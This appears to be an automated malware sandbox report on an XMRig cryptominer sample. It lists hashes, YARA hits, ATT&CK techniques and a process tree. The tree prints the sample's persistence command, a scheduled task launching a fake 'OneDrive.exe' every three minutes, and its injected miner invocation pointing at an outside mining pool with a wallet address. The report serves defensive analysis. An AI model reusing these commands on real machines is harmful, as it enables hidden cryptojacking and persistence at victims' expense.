xmrig | cf51c50c01a1f91fd1dfbb0a4742ff9aad69417f0a7a95be0bb64d855b0dd5d9

General

Target

cf51c50c01a1f91fd1dfbb0a4742ff9aad69417f0a7a95be0bb64d855b0dd5d9.exe
Size

4.2MB
MD5

d6af79c29645eab72cbe21a3a5a118db
SHA1

280950ed79e57afd2f6e1d6dd677ade37ca9d75a
SHA256

cf51c50c01a1f91fd1dfbb0a4742ff9aad69417f0a7a95be0bb64d855b0dd5d9
SHA512

7c9e801a5385e499882f46ec3bff42fcddb1926819781ce1f8120637bf7da444b0f4b4188650b12282cb24f39c30b02a5bbfd8a1566906cd05a14768a1d7b413
SSDEEP

98304:y1W9Kp+CladnYS2dru3SkG/Mul2rq/aReDkizMeQU90:yuKp+VfvQ/Mul2rVe4iwVU90

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 9 IoCs

miner

resource	yara_rule
behavioral1/memory/2808-32-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral1/memory/2808-35-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral1/memory/2808-37-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral1/memory/2808-38-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral1/memory/2808-39-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral1/memory/2808-36-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral1/memory/2808-40-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral1/memory/2808-41-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral1/memory/2808-44-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig

Executes dropped EXE 2 IoCs

pid	Process
2696	OneDrive.exe
1444	OneDrive.exe

Loads dropped DLL 3 IoCs

pid	Process
2700	cmd.exe
2700	cmd.exe
896	taskeng.exe

UPX packed file 15 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2808-24-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral1/memory/2808-29-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral1/memory/2808-31-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral1/memory/2808-33-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral1/memory/2808-32-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral1/memory/2808-28-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral1/memory/2808-35-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral1/memory/2808-37-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral1/memory/2808-38-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral1/memory/2808-39-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral1/memory/2808-36-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral1/memory/2808-25-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral1/memory/2808-40-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral1/memory/2808-41-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral1/memory/2808-44-0x0000000140000000-0x00000001407DC000-memory.dmp	upx

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2696 set thread context of 2808	2696	OneDrive.exe	36

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1244	schtasks.exe
2160	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2812	timeout.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2696	OneDrive.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2188	cf51c50c01a1f91fd1dfbb0a4742ff9aad69417f0a7a95be0bb64d855b0dd5d9.exe
Token: SeDebugPrivilege	2696	OneDrive.exe
Token: SeLockMemoryPrivilege	2808	vbc.exe
Token: SeLockMemoryPrivilege	2808	vbc.exe
Token: SeDebugPrivilege	1444	OneDrive.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2808	vbc.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 2188 wrote to memory of 2700	2188	cf51c50c01a1f91fd1dfbb0a4742ff9aad69417f0a7a95be0bb64d855b0dd5d9.exe	30
PID 2188 wrote to memory of 2700	2188	cf51c50c01a1f91fd1dfbb0a4742ff9aad69417f0a7a95be0bb64d855b0dd5d9.exe	30
PID 2188 wrote to memory of 2700	2188	cf51c50c01a1f91fd1dfbb0a4742ff9aad69417f0a7a95be0bb64d855b0dd5d9.exe	30
PID 2700 wrote to memory of 2812	2700	cmd.exe	28
PID 2700 wrote to memory of 2812	2700	cmd.exe	28
PID 2700 wrote to memory of 2812	2700	cmd.exe	28
PID 2700 wrote to memory of 2696	2700	cmd.exe	31
PID 2700 wrote to memory of 2696	2700	cmd.exe	31
PID 2700 wrote to memory of 2696	2700	cmd.exe	31
PID 2696 wrote to memory of 2748	2696	OneDrive.exe	33
PID 2696 wrote to memory of 2748	2696	OneDrive.exe	33
PID 2696 wrote to memory of 2748	2696	OneDrive.exe	33
PID 2748 wrote to memory of 1244	2748	cmd.exe	34
PID 2748 wrote to memory of 1244	2748	cmd.exe	34
PID 2748 wrote to memory of 1244	2748	cmd.exe	34
PID 2696 wrote to memory of 2808	2696	OneDrive.exe	36
PID 2696 wrote to memory of 2808	2696	OneDrive.exe	36
PID 2696 wrote to memory of 2808	2696	OneDrive.exe	36
PID 2696 wrote to memory of 2808	2696	OneDrive.exe	36
PID 2696 wrote to memory of 2808	2696	OneDrive.exe	36
PID 2696 wrote to memory of 2808	2696	OneDrive.exe	36
PID 2696 wrote to memory of 2808	2696	OneDrive.exe	36
PID 896 wrote to memory of 1444	896	taskeng.exe	40
PID 896 wrote to memory of 1444	896	taskeng.exe	40
PID 896 wrote to memory of 1444	896	taskeng.exe	40

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\cf51c50c01a1f91fd1dfbb0a4742ff9aad69417f0a7a95be0bb64d855b0dd5d9.exe
"C:\Users\Admin\AppData\Local\Temp\cf51c50c01a1f91fd1dfbb0a4742ff9aad69417f0a7a95be0bb64d855b0dd5d9.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2188
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp6D05.tmp.bat""
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe
    "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2696
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2748
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:1244
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:2808

C:\Windows\system32\timeout.exe
timeout 3
1⤵
- Delays execution with timeout.exe
PID:2812

C:\Windows\system32\taskeng.exe
taskeng.exe {3DF52016-5F3C-4A97-B509-A549F75F3770} S-1-5-21-928733405-3780110381-2966456290-1000:VTILVGXH\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:896
- C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe
  C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1444
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"
    3⤵
    PID:2192
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"
      4⤵
      Creates scheduled task(s)
      PID:2160

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Scripting

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Scripting

1

T1064

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1444-54-0x0000000000670000-0x00000000006F0000-memory.dmp

Filesize
512KB

Download
memory/1444-49-0x000007FEF5AF0000-0x000007FEF64DC000-memory.dmp

Filesize
9.9MB

Download
memory/1444-50-0x000000013F040000-0x000000013F668000-memory.dmp

Filesize
6.2MB

Download
memory/1444-52-0x0000000000670000-0x00000000006F0000-memory.dmp

Filesize
512KB

Download
memory/1444-53-0x000007FEF5AF0000-0x000007FEF64DC000-memory.dmp

Filesize
9.9MB

Download
memory/2188-14-0x000007FEF5AF0000-0x000007FEF64DC000-memory.dmp

Filesize
9.9MB

Download
memory/2188-3-0x0000000000850000-0x00000000008D0000-memory.dmp

Filesize
512KB

Download
memory/2188-0-0x000000013FED0000-0x00000001404F8000-memory.dmp

Filesize
6.2MB

Download
memory/2188-2-0x0000000000840000-0x0000000000841000-memory.dmp

Filesize
4KB

Download
memory/2188-1-0x000007FEF5AF0000-0x000007FEF64DC000-memory.dmp

Filesize
9.9MB

Download
memory/2696-20-0x000000013F600000-0x000000013FC28000-memory.dmp

Filesize
6.2MB

Download
memory/2696-22-0x0000000002500000-0x0000000002580000-memory.dmp

Filesize
512KB

Download
memory/2696-19-0x000007FEF5100000-0x000007FEF5AEC000-memory.dmp

Filesize
9.9MB

Download
memory/2696-30-0x000007FEF5100000-0x000007FEF5AEC000-memory.dmp

Filesize
9.9MB

Download
memory/2808-35-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2808-42-0x0000000001CD0000-0x0000000001CF0000-memory.dmp

Filesize
128KB

Download
memory/2808-32-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2808-28-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2808-33-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2808-37-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2808-38-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2808-39-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2808-36-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2808-25-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2808-40-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2808-34-0x00000000001F0000-0x0000000000210000-memory.dmp

Filesize
128KB

Download
memory/2808-43-0x0000000001D70000-0x0000000001D90000-memory.dmp

Filesize
128KB

Download
memory/2808-41-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2808-44-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2808-45-0x0000000001CD0000-0x0000000001CF0000-memory.dmp

Filesize
128KB

Download
memory/2808-46-0x0000000001D70000-0x0000000001D90000-memory.dmp

Filesize
128KB

Download
memory/2808-31-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2808-29-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2808-26-0x000007FFFFFDE000-0x000007FFFFFDF000-memory.dmp

Filesize
4KB

Download
memory/2808-24-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/2808-23-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads